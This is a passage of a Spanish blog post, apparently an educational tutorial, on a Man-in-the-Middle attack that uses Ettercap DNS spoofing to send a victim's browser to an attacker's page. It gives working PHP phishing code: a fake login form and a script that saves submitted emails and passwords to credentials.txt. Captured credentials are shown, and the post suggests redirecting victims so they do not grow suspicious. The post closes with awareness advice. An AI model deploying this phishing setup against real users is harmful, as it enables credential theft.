i<em><strong>ndex.html<\/strong> <\/em>sencillo con el siguiente contenido, el cual nos confirme si el ataque est\u00e1 siendo efectivo o no.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"html\">&lt;h1&gt;&lt;enter&gt;YOU HAVE BEEN HACKED !!!!&lt;\/enter&gt;&lt;\/h1&gt;<\/pre>\n<p>Confirmamos que funciona navegando desde el host v\u00edcitma a la p\u00e1gina\u00a0<a href=\"http:\/\/tiraquelibras.com\">http:\/\/tiraquelibras.com<\/a><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-462\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/hacked1.jpg\" alt=\"\" width=\"649\" height=\"275\" \/><\/p>\n<p>Si observamos la consola de Ettercap se muestra la respuesta DNS realizada durante la navegaci\u00f3n de la v\u00edctima apuntando al host atacante.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-463\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/hacked2.jpg\" alt=\"\" width=\"401\" height=\"118\" \/><\/p>\n<h3 style=\"padding-left: 30px;\"><span class=\"ez-toc-section\" id=\"Ejemplo_complejo\"><\/span>Ejemplo complejo<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Ahora vamos a complicarlo un poco m\u00e1s. Para este ejemplo amos a alojar un phising, programado en <strong><em>PHP<\/em><\/strong>,\u00a0 suplantando la identidad de un formulario de validaci\u00f3n.<\/p>\n<p>El c\u00f3digo del archivo <strong><em>index.php<\/em><\/strong> es muy largo, por lo que os lo adjunto en el siguiente enlace para su descarga pinchando <a href=\"https:\/\/tiraquelibras.com\/nextcloud\/s\/PKZJTnTR2dcT35a\" target=\"_blank\" rel=\"noopener noreferrer\">aqu\u00ed<\/a>.<\/p>\n<p>Se trata de capturar las credenciales del formulario enviadas por el usuario, mediante el m\u00e9todo POST, y almacenarlas en un documento de texto. Se pueden utilizar otros m\u00e9todos, como guardar los datos en una base de datos (MySQL, PostgreSQL, Redis, MongoDB, &#8230;), pero nosotros vamos a usar esta forma para no extendernos mucho.<\/p>\n<p>Creamos un archivo de texto <em><strong>credenciales.txt<\/strong><\/em> en el mismo directorio que el archivo <strong><em>index.php<\/em><\/strong>, con la p\u00e1gina falsa. En este almacenaremos las credenciales enviadas por el usuario.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">\u250c\u2500[root@parrot]\u2500[\/var\/www\/html]\r\n\u2514\u2500\u2500\u257c #ls\r\ncredentials.txt  index.php<\/pre>\n<p>El m\u00e9todo del formulario ha de ser de tipo\u00a0<em><strong>POST<\/strong><\/em>.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"html\">&lt;form action='&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;' method=\"POST\" class='container'&gt;\r\n    &lt;img id='img-logo' src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2018\/04\/favicon.png\"&gt;\r\n    &lt;p&gt;Iniciar sesi&amp;oacute;n&lt;\/p&gt;\r\n    &lt;input type='email' name='email' placeholder='Correo electronico'&gt;\r\n    &lt;input type='password' name='password' placeholder='Contrase&amp;ntilde;a'&gt;&lt;br&gt;\r\n    &lt;button type=\"submit\" id=\"button\" onsubmit=\"alert('Datos enviados.');\"&gt;Siguiente&lt;\/button&gt;\r\n&lt;\/form&gt;<\/pre>\n<p>Al comienzo del archivo agregamos el c\u00f3digo que guarda los datos en un archivo si detecta el env\u00edo de datos por el m\u00e9todo <em><strong>POST<\/strong> <\/em>citado anteriormente.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\">&lt;?php\r\n\r\nif(isset($_POST['email'])){\r\n    $file = fopen('credentials.txt', 'a') or die('Unable to open file!');\r\n    $credentials = $_POST['email'] . \":\" . $_POST['password'] . \"\\n\";\r\n    fwrite($file, $credentials);\r\n    fclose($file);\r\n}\r\n\r\n?&gt;<\/pre>\n<p>Si accedi\u00e9ramos a la URL http:\/\/tiraquelibras.com se mostrar\u00eda la p\u00e1gina falsa.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-473\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/url-1.jpg\" alt=\"\" width=\"333\" height=\"142\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-468\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/form.jpg\" alt=\"\" width=\"961\" height=\"598\" \/><\/p>\n<p>Al enviar los datos desde el formulario podemos ver como se van almacenando las credenciales en el archivo de texto.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">\u250c\u2500[root@parrot]\u2500[\/var\/www\/html]\r\n\u2514\u2500\u2500\u257c #cat credentials.txt \r\nsergio@tiraquelibras.com:1234\r\nsergio@tiraquelibras.com:asdf\r\nsergio@tiraquelibras.com:324234\r\n<\/pre>\n<p>En este caso en concreto el usuario no cambia de ventana en el navegador, pero podemos redireccionarle a otra p\u00e1gina, indicar un mensaje de error temporal o redireccionar a un portal de <strong><em>en mantenimiento<\/em><\/strong>, para que no sospeche de lo que est\u00e1 ocurriendo.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Parar_el_ataque\"><\/span>Parar el ataque<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Con parar el proceso desde el <em><strong>Ettercap<\/strong> <\/em>finalizamos el ataque y el usuario recupera el servicio normal de navegaci\u00f3n.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-465\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/01\/ettercapStopStart.jpg\" alt=\"\" width=\"276\" height=\"160\" \/><\/p>\n<hr \/>\n<h1><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusi\u00f3n<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Debemos de ser muy consientes de los riesgos que conlleva navegar por Internet, asegurarnos de la importancia de mantener la privacidad en la red, fijarnos en los detalles que nos pueden indicar que no estamos en espacios seguros, y sobre todo desconfiar de todo lo desconocido o sospechoso.<\/p>\n<p>En este caso estamos simulando un ataque sobre el protocolo no seguro HTTP, pero se podr\u00eda depurar esta t\u00e9cnica con la instalaci\u00f3n de un certificado o la maquetaci\u00f3n que le de un aspecto al portal de seguridad.<\/p>\n<p>No hay mejor antivirus que uno mismo \ud83d\ude00<\/p>\n<p>Aaaaaaadios!!!!!!<\/p>\n<hr \/>\n<h1><span class=\"ez-toc-section\" id=\"Enlaces\"><\/span>Enlaces<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Ettercap pincha\u00a0<a href=\"https:\/\/www.ettercap-project.org\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed.<\/a><\/p>\n<p>ARP Spoofing pincha\u00a0<a href=\"https:\/\/es.wikipedia.org\/wiki\/Suplantaci%C3%B3n_de_ARP\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed.<\/a><\/p>\n<p>DNS Spoofing pincha\u00a0<a href=\"https:\/\/es.wikipedia.org\/wiki\/Envenenamiento_de_DNS\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed.<\/a><\/p>\n<p>Parrot pincha\u00a0<a href=\"https:\/\/www.parrotsec.org\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed.<\/a><\/p>\n<p>Apache Virtual Host pincha\u00a0<a href=\"https:\/\/www.digitalocean.com\/community\/tutorials\/como-configurar-virtual-hosts-de-apache-en-ubuntu-16-04-es\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed.<\/a><\/p>\n<p>C\u00f3digo del Phising completo pincha\u00a0<a href=\"https:\/\/tiraquelibras.com\/nextcloud\/s\/PKZJTnTR2dcT35a\" target=\"_blank\" rel=\"noopener noreferrer\">aqu\u00ed.<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esta entrada ha sido creada \u00fanicamente con fines educativos, nunca para su uso il\u00edcito. Se pretende explicar el funcionamiento de ataques Man In The Middle<span class=\"read-more-link\"><a class=\"read-more\" href=\"https:\/\/blog.tiraquelibras.com\/?p=444\">Read More<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":448,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,22],"tags":[30,36,34,37,35],"class_list":["post-444","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ciberseguridad","category-ti","tag-concienciacion","tag-credenciales","tag-phishing","tag-seguridad","tag-sniffing"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts\/444","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=444"}],"version-history":[{"count":0,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts\/444\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/media\/448"}],"wp:attachment":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=444"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=444"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=444"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}